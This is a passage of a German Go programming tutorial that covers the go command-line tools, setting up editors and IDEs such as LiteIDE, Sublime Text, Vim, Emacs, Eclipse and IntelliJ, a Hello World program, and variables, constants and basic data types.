Laut den Spezifikationen der Go Programmiersprache sollten Pakete den Namen tragen, der nach dem Schlüsselwort package in der ersten Zeile einer Quellcodedatei steht. Dieser muss nicht gleich dem Verzeichnisnamen sein und die ausführbare Binärdatei wird standardmäßig den Verzeichnisnamen annehmen.


	go build ignoriert Dateien, die mit _ oder . beginnen.

	Möchtest Du für jedes Betriebssystem andere Quellcodedateien erstellen, dann kannst Du den Systemnamen als Suffix im Dateinamen verwenden. Stell Dir vor, Du hast Quellcodedateien zum Laden von Arrays. Sie könnten nach dem folgenden Schema benannt sein:

array_linux.go | array_darwin.go | array_windows.go | array_freebsd.go




go build wählt als Suffix den Namen, der mit Deinem Betriebssystem assoziiert ist. So wird einzig array_linux.go auf Linux-Systemen kompiliert. Alle anderen Dateien werden ignoriert.





7.3 go clean

Dieser Befehl löscht alle Dateien, die vom Kompiler generiert wurden, einschließlich der unten gelisteten Dateien und Verzeichnisse.

_obj/            // Altes Verzeichnis von object, als Überreste von Makefiles
_test/           // Altes Verzeichnis von test, als Überreste von Makefiles
_testmain.go     // Altes Verzeichnis von gotest, als Überreste von Makefiles
test.out         // Altes Verzeichnis von test, als Überreste von Makefiles
build.out        // Altes Verzeichnis von test, als Überreste von Makefiles
*.[568ao]        // object Dateien, als Überreste von Makefiles

DIR(.exe)        // Generiert von go build
DIR.test(.exe)   // Generiert von go test -c
MAINFILE(.exe)   // Generiert von go build MAINFILE.go

Überlicherweise nutze ich diese Befehle zum Säubern von Projekten, bevor ich diese auf Github hochlade. Sie sind nützlich für lokale Tests, aber nutzlos zur Versionskontrolle.





7.4 go fmt und gofmt

Programmierer, die mit C/C++ arbeiten, sollten wissen, das Personen immer darüber debattieren, welcher Code-Stil besser sei: K&R-Stil oder ANSI-Stil. In Go gibt nur einen einzigen, welcher vorrausgesetzt wird. So müssen zum Beispiel offene, geschwungene Schleifen nur am Ende von Zeilen eingefügt werden und können nicht in einer eigenen stehen, da dies einen Kompilierungsfehler zur Folge hat! Jedoch musst Du Dir diese Regeln nicht merken. go fmt übernimmt diese Aufgabe für Dich. Führe einfach den Befehl go fmt <Dateiname>.go im Terminal aus. Persönlich nutze ich diesen Befehl selten, da die meisten IDEs diesen Befehl meist automatisch ausführen, sobald ich eine Datei speichere. Im nächsten Abschnitt werde ich näher auf IDEs eingehen.

go fmt ist nur ein Alias, welcher den Befehl gofmt -l -w bei Paketen anwendet, die in den Importpfaden genannt werden.

Wir nutzen üblicherweise gofmt -w statt go fmt. Somit wird Deine Quellcodedatei nicht umgeschrieben, nachdem sie formatiert wurde. gofmt -w src formatiert dagegen ein gesamtes Projekt.





7.5 go get

Dieser Befehl ermöglicht es, Remote Packages herunterzuladen. Bisher untersützt es Bitbucket, Github, Google Code und Launchpad. Es geschehen zwei Dinge, nachdem wir den Befehl ausgeführt haben. Als erstes lädt Go den Quellcode herunter und führt danach go install aus. Bevor Du go get nutzt, solltest Du vorher die benötigten Versionskontrollsysteme herunterladen.

BitBucket (Mercurial und Git)
Github (Git)
Google Code (Git, Mercurial, Subversion)
Launchpad (Bazaar)

Um den Befehl auch nutzen zu können, musst Du diese Programme korrekt installieren. Vergiss nicht, $PATH zu setzen. Angemerkt sei, dass auch angepasste Domainnamen unterstützt werden. Nutze go help remote, um weitere Informationen zu erhalten.





7.6 go install

Dieser Befehl kompiliert alle Pakete und generiert Dateien, die entweder nach $GOPATH/pkg oder $GOPATH/bin verschoben werden.





7.7 go test

Dieser Befehl läd alle Dateinen, dessen Name *_test.go beinhaltet, generiert Dateien für Tests und gibt anschließend dessen Ergebnisse aus, die wie folgt aussehen können:

ok   archive/tar   0.011s
FAIL archive/zip   0.022s
ok   compress/gzip 0.033s
...

Es nutzt standardmäßig alle vorhanden Test-Dateien. Schaue unter go help testflag für Details.





7.8 godoc

Viele Personen sagen, man brauche kein Dokumentationswerkzeug von Dritten, wenn man Go nutzt (obwohl ich mit CHM selbst eins schrieb). Go besitzt ein mächtiges Wergzeug, um Dokumentationen nativ zu verwalten.

Aber wie können wir bestimmte Informationen über ein Paket einsehen? So möchtest Du zum Beispiel mehr über das builtin Paket wissen. Nutze hierfür godoc builtin. Mach es mit godoc net/http genauso, wenn Du mehr über das http Paket in Erfahrung bringen möchtest. Ist jedoch eine spezifische Funktion gefragt, benutze die godoc fmt Printf und godoc -src fmt Printf Befehle, um den Quellcode zu betrachten.

Führe den Befehl godoc -http=:8080 aus und öffne dann 127.0.0.1:8080 in Deinem Browser. Nun solltest Du eine Deiner Sprache angepassten (lokalisierten) Version von golang.org sehen. So kannst Du nicht nur die Dokumentationen zu Paketen der Standardbibliothek ansehen, sondern auch aller Pakete, die unter $GOPATH/pkg gepspeichert sind. Dies ist großartig für Menschen, die von der Great Firewall of China im Internet eingeschränkt werden.





7.9 Andere Befehle

Go verfügt über noch mehr Befehle, die wir nicht behandelt haben.

go fix // Überführt alten Go Code von Go1 oder niedriger in eine neuere Version
go version // Erhalte nähere Informationen über Deine Go Version
go env // Zeigt die alle Umgebungsvariablen von Go
go list // Listed alle installierten Pakete
go run // Kompiliert temporäre Dateien und führt diese aus

Es gibt noch weitere Aspekte zu den Befehlen, über die ich nicht gesprochen habe. Du kannst go help <command> nutzen, um diese nachzulesen.





7.10 Links


	Inhaltsverzeichnis

	Vorheriger Abschnitt: $GOPATH und Workspaces

	Nächster Abschnitt: Go Entwicklungswerkzeuge







8 Go Entwicklungswerkzeuge

In diesem Abschnitt werde ich Dir ein paar IDEs (Integrated Developement Environments) vorstellen, die Dir mit Funktionen wie intelligenter Codevervollständigung und automatischer Formatierung dabei helfen, effizienter zu programmieren. Alle Entwicklungsumgebungen sind plattformunabhängig, sodass die hier gezeigten Schritte nicht sehr verschieden seien sollten, auch wenn Du ein anderes Betriebssystem nutzt.





8.1 LiteIDE

LiteIDE ist eine leichtgewichtige IDE, die open source ist und einzig für die Go Programmierung gedacht ist. Entwickelt wurde sie von visualfc.
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Abbildung 1.4 Startansicht von LiteIDE

LiteIDEs Merkmale.


	Plattformunaghängigkeit

	Windows

	Linux

	Mac OS




	Plattformübergreifende Kompilierung

	Verwalte mehrere Kompilierungsumgebungen

	Unterstützt die plattformübergreifende Kompilierung von Go-Code




	Standardisiertes Projektmanagement

	Dokumentationsansicht basiert auf $GOPATH

	Kompilierungsystem basiert auf $GOPATH

	Index der API-Dokumentation basiert auf $GOPATH




	Go Quellcode Editor

	Umschreibung von Code

	Vollständige Unterstützung von gocode

	Anzeige der Go Dokumentation und ein API Index

	Hilfe zu Codefragmenten durch F1

	Aufrufen von Funktionsdeklerationen durch F2

	Gdb Unterstützung

	Automatische Formatierung durch gofmt




	Anderes

	Mehrsprachig

	Plugin System

	Texteditor Themes

	Farbliche Syntaxhervorhebung basierend auf Kate

	Intelligente Autovervollständigung basierend auf einer Volltext-Suche

	Personalisierbare Tastenkürzel

	Markdown Unterstützung

	Echtzeit Vorschau

	Personalisierbares CSS

	Exportoptioen zu HTML und PDF

	Konvertierung and Zusammenführung zu HTML und PDF













8.1.1 LiteIDE Instalation


	Installiere LiteIDE

	Lade LiteIDE herunter

	Quellcode



Du musst Go zuerst installieren. Lade dafür die entsprechende Version für Dein Betriebssystem herunter. Entpacke das Archiv um es Programm direkt auszuführen.

	Installiere gocode

Im nächsten Schritt muss gocode installiert werden, um die intelligente Autovervollständigung zu nutzen.

go get -u github.com/nsf/gocode


	Kompilierungsumgebung

Passe die Einstellungen von LiteIDE Deinen Betriebssystem entprechend an. Unter Windows mit der 64-Bit Variante von Go solltest Du win64 als Umgebung in der Symbolleiste auswählen. Dann wähle opinion, finde LiteEnv in der Liste auf der linken Seiten und öffne die Datei win64.env in der Liste zu Deiner Rechten.

GOROOT=c:\go
GOBIN=
GOARCH=amd64
GOOS=windows
CGO_ENABLED=1

PATH=%GOBIN%;%GOROOT%\bin;%PATH%
。。。

Ersetze GOROOT=c:\go mit Deinem Installationspfad von Go und speichere. Wenn Du MinGW64 nutzt, füge C:\MinGW64\bin der $PATH-Umgebungsvariable hinzu, um cgo starten zu können.

Unter Linux mit einer 64-Bit Variante von Go, solltest Du linux64 als Umgebung in der Symbolleiste auswählen. Dann wähle opinion, finde LiteEnv in der Liste auf der linken Seiten und öffne die Datei linux64.env in der Liste zu Deiner Rechten.

GOROOT=$HOME/go
GOBIN=
GOARCH=amd64
GOOS=linux
CGO_ENABLED=1

PATH=$GOBIN:$GOROOT/bin:$PATH   
。。。

Ersetzte GOROOT=$HOME/go mit Deinem Installationspfad von Go und speichere.

	$GOPATH

$GOPATH ist ein Pfad, der eine Liste von allen Go-Projekten umfasst. Öffne die Kommandozeile (oder drücke Ctrl+ in LiteIDE) und gib dann go help gopath ein, um mehr Details einzusehen. In LiteIDE ist es sehr einfach, den $GOPATH einzusehen und ihn zu verändern. Folge View - Setup GOPATH, um dies zu tun.








8.2 Sublime Text

Nun möchte ich dir Sublime Text 2 (oder einfach Sublime) in Kombination mit den Plugins GoSublime, gocode und MarGo vorstellen. Lass mich erklären, warum.


	Intelligente Autovervollständigung

[image: ]

Abbildung 1.5 Sublimes intelligente Autovervollständigung

	Automatische Formatierung des Quellcodes

	Unterstützung für Projektmanagement
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Abbildung 1.6 Projektmanagement in Sublime


	Farbliche Hervorhebung des Synax

	Es gibt eine Testversion ohne Einschränkungen der Funktionen. Es kann sein, dass Du nach einer Weile daran erinnert wirst, dass Du eine Lizenz kaufen sollest, aber Du kannst diese Meldung auch einfach ignorieren. Wenn Du aber glaubst, dass Sublime Dich produktiver macht und Du den Editor magst, solltest Du eine Lizenz kaufen, um die fortwährende Entwicklung zu unterstützen.




Zu aller erst solltest Du Dir eine für Dein Betriebssystem geeignete Version von Sublime herunterladen.


	Drücke Ctrl+`, öffne die Kommandozeile und füge folgenden Codesnippsel ein:

import urllib2,os; pf='Package Control.sublime-package'; ipp=sublime.installed_packages_path(); os.makedirs(ipp) if not os.path.exists(ipp) else None; urllib2.install_opener(urllib2.build_opener(urllib2.ProxyHandler())); open(os.path.join(ipp,pf),'wb').write(urllib2.urlopen('http://sublime.wbond.net/'+pf.replace(' ','%20')).read()); print 'Please restart Sublime Text to finish installation'

Starte Sublime Text nach der Installation neu. Nun solltest Du im Menü unter dem Reiter Preferences die Option Package Control vorfinden.
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Abbildung 1.7 Die Paketverwaltung von Sublime


	Zur Installation von GoSublime, SidebarEnhancements und Go Build, drücke Ctrl+Shift+p um die Paketverwaltung aufzurüfen und gib pcip (Kurzform für “Package Control: Install Package”) ein.
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Abbildung 1.8 Installation von Paketen in Sublime

Gib nun “GoSublime” ein, drücke auf OK, um das Paket zu installieren und wiederhole diese Schritte jeweils für SidebarEnhancements und Go Build. Starte den Editor nochmals neu, sobald alle Pakete installiert wurden.


	Um sicher zu stellen, dass die Installation auch erfolgreich abgeschlossen wurde, starte Sublime und öffne die Datei main.go, um zu sehen, ob dessen Syntax farblich hervorgehoben wird. Gib import ein, um zu testen, ob die automatische Codevervollständigung nun funktioniert oder nicht.

Wenn alles erfolgreich Verlaufen ist, können wir ja starten.

Sollte dies nicht der Fall sein, solltest Du nochmal einen Blick auf die $PATH-Umgebungsvariable blicken. Öffne dazu die Kommandozeile und gib gocode ein. Sollte nichts ausgeführt werden, so wird $PATH wahrscheinlich nicht richtig konfiguriert worden sein.








8.3 Vim

Vim ist ein populärer Texteditor unter Programmierern, welcher sich aus seinem minimalistischeren Vorgänger Vi hervorging. Zu seinen Funktionen gehören u.a. die intelligente Autovervollständung von Codesegmenten, Kompilierung und das Springen zu Fehlern im Quellcode.
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Abbildung 1.8 Vims intelligente Autovervollständigung für Go


	Syntaxhervorhebung für Go

cp -r $GOROOT/misc/vim/* ~/.vim/


	Syntaxhervorhebung aktivieren

filetype plugin indent on
syntax on


	Installiere gocode

go get -u github.com/nsf/gocode

gocode wird standardmäßig unter $GOBIN installiert.


	Konfiguriere gocode

~ cd $GOPATH/src/github.com/nsf/gocode/vim
~ ./update.bash
~ gocode set propose-builtins true
propose-builtins true
~ gocode set lib-path "/home/border/gocode/pkg/linux_amd64"
lib-path "/home/border/gocode/pkg/linux_amd64"
~ gocode set
propose-builtins true
lib-path "/home/border/gocode/pkg/linux_amd64"

Einige Worte zur Konfiguration von gocode:

propose-builtins: aktiviert bzw. deaktiviert die Autovervollständigung; standardmäßig auf false gesetzt.

lib-path: gocode sucht lediglich unter $GOPATH/pkg/$GOOS_$GOARCH und $GOROOT/pkg/$GOOS_$GOARCH nach Paketen. Mit dieser Einstellung können weitere Pfade hinzugefügt werden..


	Glückwunsch! Tippe :e main.go ein und mache Deine ersten Schritte in Go!








8.4 Emacs

Emacs wird auch als “Weapon of God” bezeichnet. Es handelt sich nicht nur um einen Editor, sondern vielmehr um eine mächtige IDE.
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Abbildung 1.10 Emacs Hauptfenster als Go-Editor


	Syntaxhervorhebung

cp $GOROOT/misc/emacs/* ~/.emacs.d/


	Installiere gocode

go get -u github.com/nsf/gocode

gocode wird standardmäßig unter $GOBIN installiert.

	Konfiguriere gocode

~ cd $GOPATH/src/github.com/nsf/gocode/vim
~ ./update.bash
~ gocode set propose-builtins true
propose-builtins true
~ gocode set lib-path "/home/border/gocode/pkg/linux_amd64"
lib-path "/home/border/gocode/pkg/linux_amd64"
~ gocode set
propose-builtins true
lib-path "/home/border/gocode/pkg/linux_amd64"


	Installiere Auto Completion

~ make install DIR=$HOME/.emacs.d/auto-complete

Konfiguriere die ~/.emacs-Datei

;;auto-complete
(require 'auto-complete-config)
(add-to-list 'ac-dictionary-directories "~/.emacs.d/auto-complete/ac-dict")
(ac-config-default)
(local-set-key (kbd "M-/") 'semantic-complete-analyze-inline)
(local-set-key "." 'semantic-complete-self-insert)
(local-set-key ">" 'semantic-complete-self-insert)  

Folge diesem Link für weitere Informationen.


	Konfiguriere .emacs

;; golang mode
(require 'go-mode-load)
(require 'go-autocomplete)
;; speedbar
;; (speedbar 1)
(speedbar-add-supported-extension ".go")
(add-hook
'go-mode-hook
'(lambda ()
    ;; gocode
    (auto-complete-mode 1)
    (setq ac-sources '(ac-source-go))
    ;; Imenu & Speedbar
    (setq imenu-generic-expression
        '(("type" "^type *\\([^ \t\n\r\f]*\\)" 1)
        ("func" "^func *\\(.*\\) {" 1)))
    (imenu-add-to-menubar "Index")
    ;; Outline mode
    (make-local-variable 'outline-regexp)
    (setq outline-regexp "//\\.\\|//[^\r\n\f][^\r\n\f]\\|pack\\|func\\|impo\\|cons\\|var.\\|type\\|\t\t*....")
    (outline-minor-mode 1)
    (local-set-key "\M-a" 'outline-previous-visible-heading)
    (local-set-key "\M-e" 'outline-next-visible-heading)
    ;; Menu bar
    (require 'easymenu)
    (defconst go-hooked-menu
        '("Go tools"
        ["Go run buffer" go t]
        ["Go reformat buffer" go-fmt-buffer t]
        ["Go check buffer" go-fix-buffer t]))
    (easy-menu-define
        go-added-menu
        (current-local-map)
        "Go tools"
        go-hooked-menu)

    ;; Other
    (setq show-trailing-whitespace t)
    ))
;; helper function
(defun go ()
    "run current buffer"
    (interactive)
    (compile (concat "go run " (buffer-file-name))))

;; helper function
(defun go-fmt-buffer ()
    "run gofmt on current buffer"
    (interactive)
    (if buffer-read-only
    (progn
        (ding)
        (message "Buffer is read only"))
    (let ((p (line-number-at-pos))
    (filename (buffer-file-name))
    (old-max-mini-window-height max-mini-window-height))
        (show-all)
        (if (get-buffer "*Go Reformat Errors*")
    (progn
        (delete-windows-on "*Go Reformat Errors*")
        (kill-buffer "*Go Reformat Errors*")))
        (setq max-mini-window-height 1)
        (if (= 0 (shell-command-on-region (point-min) (point-max) "gofmt" "*Go Reformat Output*" nil "*Go Reformat Errors*" t))
    (progn
        (erase-buffer)
        (insert-buffer-substring "*Go Reformat Output*")
        (goto-char (point-min))
        (forward-line (1- p)))
    (with-current-buffer "*Go Reformat Errors*"
    (progn
        (goto-char (point-min))
        (while (re-search-forward "<standard input>" nil t)
        (replace-match filename))
        (goto-char (point-min))
        (compilation-mode))))
        (setq max-mini-window-height old-max-mini-window-height)
        (delete-windows-on "*Go Reformat Output*")
        (kill-buffer "*Go Reformat Output*"))))
;; helper function
(defun go-fix-buffer ()
    "run gofix on current buffer"
    (interactive)
    (show-all)
    (shell-command-on-region (point-min) (point-max) "go tool fix -diff"))


	Glückwunsch, Du hast es geschafft! Die Schnellzugriffsleiste (Speedbar) ist standardmäßig geschlossen - Entferne die Kommentarzeichen in der Zeile ;;(speedbar 1), um diese Funktion zu aktivieren, oder Du benutzt die Speedbar via M-x speedbar.








8.5 Eclipse

Eclipse ist ebenfalls ein großartiges Entwicklungswerkzeug. Ich werde Dir zeigen, wie Du mit ihm Programme in Go schreiben kannst.
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Abbildung 1.1 Eclipses Hauptfenster zum Programmieren Go


	Herunterladen und Installation von Eclipse

	Lade goclipse herunter

http://code.google.com/p/goclipse/wiki/InstallationInstructions

	Lade gocode

gocode auf Github.

https://github.com/nsf/gocode

Unter Windows musst Du git installiert haben. Wir nutzen überlicherweise msysgit.

Installiere gocode in der Kommandozeile

go get -u github.com/nsf/gocode

Du kannst die Installation mithilfe des Quellcodes selbst durchführen, wenn Du magst.

	Installation von MinGW

	Konfiguration der Plugins.

Windows->Preferences->Go

(1).Einrichtung des Go-Compiler
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Abbildung 1.12 Go-Einstellungen in Eclipse

(2).Konfiguriere gocode(optional). Setze den Pfad zu gocode auf den Speicherort von gocode.exe.
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Abbildung 1.13 gocode-Einstellungen

(3).Konfiguriere gdb(optional). Setze den Pfad zu gdb auf den Speicherort von gdb.exe.
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Abbildung 1.14 gdb-Einstellungen

	Überprüfe, ob die Installation erfolgreich verlief

Erstelle ein neues Go-Project und eine Datei hello.go wie folgt.
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Abbildung 1.15 Erstelle ein neues Projekt und eine Datei

Überprüfe die Installation wie folgt. (Die Befehle müssen in die Konsole von Eclipse eingegeben werden).
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Abbildung 1.16 Teste ein Go-Programm in Eclipse








8.6 IntelliJ IDEA

Programmierer, die bereits mit Java gearbeitet haben, sollte diese IDE bekannt sein. Es unterstützt die farbliche Hervorhebung von Go-Code und intelligente Autovervollständigung, welches durch ein Plugin erreicht wird.


	Lade IDEA herunter. Es gibt keinen Unterschied zwischen der Ultimate- und Community-Edition.
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	Installiere das Go-Plugin. Gehe zu File - Setting - Plugins und klicke dann auf Browser repo.
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	Starte eine Suche mit golang, klicke doppelt auf download and install und warte, bis der Download abgeschlossen ist.
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Klicke auf Apply und starte das Programm neu.


	Nun kannst Du ein neues Go-Projekt erstellen.

[image: ]

Gib im nächsten Schritt den Speicherort Deines Go-SDK (SDK steht für Software Developement Kit) an - normalerweise handelt es sich hierbei um $GOROOT.




( Werfe einen Blick auf diesen Blogartikel, welcher die Installation und Einrichtung von IntelliJ IDEA mit Go schrittweise erläutert. )





8.7 Links


	Inhaltsverzeichnis

	Vorheriger Abschnitt: Go Befehle

	Nächster Abschnitt: Zusammenfassung







9 1.5 Zusammenfassung

In diesem Kapitel haben wir die Installation auf drei verschiedene Arten besprochen. Dies waren die manuelle Installation mit Hilfe des Quellcodes von Go, die offiziellen Ein-Klick-Installationen und durch Lösungen Dritter. Danach haben wir uns mit der Konfiguration der Go Entwicklungsumgebung auseinander gesetzt, welche hauptsächlich die Einrichtung Deines $GOPATH umfasst. Zudem habe ich Dir gezeigt, wie man Programme kompiliert und einsetzt. Des Weiteren hast Du die verschiedenen Terminal-Befehle zum Kompilieren, Installieren, Formatieren und Testen von Go kennengelernt. Zum Schluss hast Du Dir mächtige Entwicklungswerkzeuge wie LiteIDE, Sublime Text, Vim, Emacs, Eclipse, IntelliJ IDEA u.a. zu Nutze gemacht. Suche Dir eines aus, um die Welt von Go zu erforschen.





9.1 Links


	Inhaltsverzeichnis

	Vorheriger Abschnitt: Go Entwicklungswerkzeuge

	Nächstes Kapitel: Grundlegendes Wissen zu Go







10 2 Grundlegendes Wissen zu Go

Go ist eine kompilierte, systemnahe Programmiersprache und ist verwandt mit der C-Familie. Die Kompiliereung ist deutlich schneller als bei anderen C-Sprachen. Sie besitzt nur 25 Schlüsselwörter… also noch weniger als die 26 Buchstaben des deutschen Alphabets! Lass uns einen kurzen Blick auf diese Schlüsselwörter werfen, bevor wir anfangen.

break    default      func    interface    select
case     defer        go      map          struct
chan     else         goto    package      switch
const    fallthrough  if      range        type
continue for          import  return       var

In diesem Kapitel werde ich Dir Grundlagen zur Programmierung in Go vermitteln. Du wirst sehen, wie prägnant die Sprache ist und wie schön sie gestaltet wurde. Das Programmieren in Go kann viel Spaß machen. Am Ende dieses Kapitels werden Dir die aufgelisteten Schlüsselwörter in ihrer Funktionsweise bekannt sein.





10.1 Links


	Inhaltsverzeichnis

	Vorheriges Kapitel: Kapitel 1 Zusammenfassung

	Nächster Abschnitt: “Hallo Go”

10.1 2.1 Hallo Go




Bevor wir unsere erste Anwendung in Go erstellen, müssen wir erst klein anfangen. Du kannst nicht erwarten, ein Haus bauen zu können, ohne die Grundlagen zu beherrschen. Deshalb werden wir den grundlegenden Syntax in diesem Abschnitt lernen, um ein einfaches Programm zu schreiben.





10.2 Programm

In der Programmierung ist es in Klassiker, als erstes eine Anwendung zu schreiben, die einzig “Hallo Welt” ausgibt.

Bist Du bereit? Los geht’s!

package main

import "fmt"

func main() {
    fmt.Printf("Hallo Welt oder 你好，世界 oder καλημ ́ρα κóσμ oder こんにちは世界\n")
}

Es sollte jetzt folgendes ausgegeben worden sein.

Hallo Welt oder 你好，世界 oder καλημ ́ρα κóσμ oder こんにちは世界





10.3 Erklärung

Eine Sache, die Du zu Beginn wissen solltest, ist, dass Go-Programme stets mit dem Schlüsselwort package anfangen.

package <Paketname> (in diesem Fall package main) sagt aus, dass diese Quellcodedatei zum Paket main gehört. Das Schlüsselwort main ist jedoch besonders, da es zu einer ausführbaren Binärdatei kompiliert wird. Normalerweise wird sonst ein Paket in der Dateiendung .a generiert.

Jedes ausführbare Programm hat nur ein einziges main Paket, dass die Funktion main beinhalten muss, die keine Argumente erhält und keine Werte zurückgibt.

Um Hallo Welt... auszugeben, haben wir eine Funktion mit dem Namen Printf genutzt. Diese Funktion stammt aus dem fmt Paket, welches wir in der dritten Zeile mit import "fmt" importiert haben.

Pakete werden ähnlich wie in Python behandelt, was ein paar Vorteile mit sich bring: Modularität (das Aufteilen eines Programms in kleinere Codesegmente, genannt Module) und Wiederverwendbarkeit (viele Module können auch in anderen Programmen genutzt werden). Das Konzept um Pakete hatten wir bereits aufgegriffen. Später werden wir auch eigene Pakete erstellen.

In der fünften Zeile haben wir das Schlüsselwort func verwendet, um die main-Funktion zu definieren. Der Rumpf bzw. Körper einer Funktion befindet sich zwischen {}, genau wie in C, C++ und Java.

Wie Du siehst, gibt es keine Argumente, die an die Funktion übergeben worden sind. Wir werden in wenigen Sekunden lernen, wie man diese in Funktionen nutzt. Du kannst auch Funktionen schreiben, die keinen oder beliebig viele Rückgabewerte haben.

In der sechsten Zeile rufen wir die Funktion Printf aus dem Paket fmt auf. Die geschieht über den Syntax <Paketname>.<Funktionsname>, also ganz im Stil von Python.

Wie in Kapitel 1 angemerkt, können sich der Name des Pakets und der Ordner, indem es sich das Paket befindet, durchaus verschieden sein. Hier stammt der <Paketname> vom Namen in package <Paketname> und nicht vom Ordnernamen ab.

Du hast vielleicht mitbekommen, dass unser Beispiel oben viele Nicht-ASCII-Zeichen beinhaltet. Dies hat den Zweck zu zeigen, dass Go UTF-8 standardmäßig unterstützt. Du kannst jedes beliebige UTF-8 Zeichen in Deinen Programmen verwenden.





10.4 Zusammenfassung

Go nutzt package (wie Module in Python) zum Strukturieren von Programmen. Die Funktion main.main() (diese Funktion muss sich im main-Paket befinden) ist der Startpunkt von jedem Programm. Go unterstützt UTF-8-Zeichen, da einer ihrer Schöpfer zugleich UTF-8 mitentwickelt hat. Somit unterstützt Go von Beginn an mehrere Sprachen.





10.5 Links


	Inhaltsverzeichnis

	Vorheriger Abschnitt: Grundlegendes Wissen zu Go

	Nächster Abschnitt: Grundlagen von Go

10.5 2.2 Grundlagen von Go




In diesem Abschnit werden wir lernen, wie man Konstanten und Variablen mit grundlegenden Datentypen definiert, sowie ein paar weitere Fähigkeiten aus der Go-Programmierung.





10.6 Variablen definieren

Es gibt syntaktisch viele Wege, eine Variable in Go zu definieren.

Das Schlüsselwort var ist die simpelste Form, eine Variable zu erstellen. Bedenke, dass in Go der Datentyp hinter dem Variablennamen steht.

// Definiere eine Variable mit dem Namen “variableName” vom Typ "type"
var variableName type

Definiere mehrere Variablen.

// Definiere drei Variablen vom Typ "type"
var vname1, vname2, vname3 type

Definiere eine Variable mit einem Startwert.

// Definiere eine Variable mit dem Namen “variableName” vom Typ "type" und dem Wert "value"
var variableName type = value

Definiere mehrere Variablen mit einem Startwert.

/*
Definiere drei Variablen vom Typ "type" und gib ihnen drei Startwerte.
vname1 ist gleich v1, vname2 ist gleich  v2, vname3 ist gleich v3
*/
var vname1, vname2, vname3 type = v1, v2, v3

Findest Du es nicht auch ein wenig mühsehlig, Variablen auf diesem Weg zu definieren? Keine Sorge, denn das Team hinter Go hat auch so gedacht. Daher kannst Du Variablen Startwerte geben, ohne explizit den Datentyp zu definieren. Der Code würde dann so aussehen:

/*
Definiere drei Variablen vom Typ "type" und gib ihnen drei Ausgangswerte.
vname1 ist gleich v1, vname2 ist gleich  v2, vname3 ist gleich v3
*/
var vname1, vname2, vname3 = v1, v2, v3

Schön, ich weiß das dies immer noch nicht einfach genug für Dich ist. Mal schauen, wie wir das lösen können.

/*
Definiere drei Variablen ohne den Typ "type", ohne das Schlüsselwort "var" und gib ihnen Startwerte.
vname1 ist gleich v1，vname2 ist gleich v2，vname3 ist gleich v3
*/
vname1, vname2, vname3 := v1, v2, v3

So sieht es schon viel besser aus. Nutze :=, um var und type zu ersetzen. Es handelt sich hierbei um eine Kurzschreibweise. Aber warte, es gibt einen kleinen Haken: diese Form der Definition kann nur innerhalb von Fuktionen genutzt werden. Der Compiler wird sonst eine Fehlermeldung ausgeben, wenn Du es trotzdem außerhalb der {} einer Funktion versuchst. Daher nutzen wir meist das Schlüsselwort var um globale Variablen zu definieren oder die Funktion var().

_ (Unterstrich) ist ein besonderer Variablenname. Jeder übergebene Wert wird ignoriert. Übergeben wir zum Beispiel 35 an b, so verwerfen wir 34. ( Dieses Beispiel soll nur die Funktionsweise aufzeigen. Es mag, wie in diesem Fall, nutzlos erscheinen, aber wir werden es oft gebrauchen, wenn wir Rückgabewerte von Funktionen erhalten. )

_, b := 34, 35

Wenn Du Variablen in Deinem Programm definierst, aber keine Verwendung finden, wird der Compiler eine Fehlermeldung ausgeben. Versuche den unten stehenden Code zu kompilieren und schaue, was passiert.

package main

func main() {
    var i int
}





10.7 Konstanten

Konstanten sind Werte, die während der Kompilierung festgelegt werden und während der Laufzeit nicht veränderbar sind. In Go kannst Du Konstanten als Wert Nummern, Booleans oder Strings geben.

Definiere eine Konstante wie folgt.

const constantName = value
// Du kannst auch den Datentyp hinzufügen, wenn nötig
const Pi float32 = 3.1415926

Mehr Beispiele.

const Pi = 3.1415926
const i = 10000
const MaxThread = 10
const prefix = "astaxie_"





10.8 Grundlegende Datentypen





10.8.1 Boolean

In Go nutzen wir bool, um Booleans (Wahrheitswerte) auszudrücken, die entweder den Zustand true oder false annehmen können, wobei false der Standardwert ist. ( Du kannst übrigens Nummern zu Booleans und umgekehrt konvertieren! )

// Beispielcode
var isActive bool  // Globale Variable
var enabled, disabled = true, false  // Der Datentyp wird ausgelassen
func test() {
    var available bool  // Lokale Variable
    valid := false      // Kurzschreibweise einer Definition
    available = true    // Eine Variable deklarieren
}





10.8.2 Numerische Datentypen

Der Datentyp Integer (ganze Zahlen) kann sowohl den positiven, als auch den negativen Zahlenraum umfassen, was durch ein Vorzeichen kenntlich gemacht wird. Go besitzt int und uint, welche den selben Wertebereich haben. Dessen Größe hängt aber vom Betriebssystem ab. Es werden 32-Bit unter 32-Bit Betriebssystemen verwendet und 64-Bit unter 64-Bit Betriebssystemen. Go umfasst außerdem Datentypen mit einer spezifischen Länge: rune, int8, int16, int32, int64, byte, uint8, uint16, uint32 und uint64. Bedenke, dass rune ein Alias für int32 ist und byte dem uint8 gleicht.

Eine wichtige Sache, die Du wissen solltest, ist, dass Du verschiedene Datentypen nicht vermischen kannst, da es sonst zu Fehlern bei der Kompilierung kommt.

var a int8

var b int32

c := a + b

Obwohl int32 einen größeren Wertebereich als int8 abdeckt, und beide vom Typ int sind, kannst Du sie nicht miteinander kombinieren. ( c wird hier der Typ int zugewiesen )

Floats (Gleitkommazahlen) haben entweder den Datentyp float32 oder float64, aber es gibt keinen Datentyp namens float. float64 wird standardmäßig verwendet, sollte die Kurzschreibweise für eine Variablendekleration genutzt werden.

War das schon alles? Nein! Go unterstützt auch komplexe Zahlen. complex128 (bestehend aus 64-Bit für den realen Anteil und weiteren 64-Bit für den imaginären Teil) ist der Standarddatentyp. Solltest Du einen kleineren Wertebereich benötigen, kannst complex64 als Datentyp verwenden (mit 32-Bit für den realen, und nochmals 32-Bit für den imaginären Teil). Die Schreibweise lautet RE+IMi, wo RE für den realen Teil steht, und IM den Imaginären Part repräsentiert. Das i am Ende ist die imaginäre Zahl. Hier ist ein Beispiel für eine komplexe Zahl.

var c complex64 = 5+5i
// Ausgabe: (5+5i)
fmt.Printf("Der Wert ist: %v", c)





10.8.3 Strings

Wir sprachen vorhin darüber, das Go eine native UTF-8 Unterstützung mit sich bringt. Strings (Zeichenketten) werden durch Anführungszeichen "" gekennzeichet, oder durch Backticks (rückwärts geneigtes Hochkomma) ``.

// Beispielcode
var frenchHello string  // Grundlegende Schreibweise zur Definition eines Strings
var emptyString string = ""  // Definiert einen leeren String
func test() {
    no, yes, maybe := "no", "yes", "maybe"  // Kurzschreibweise
    japaneseHello := "Ohaiou"
    frenchHello = "Bonjour"  // Grundlegende Deklaration
}

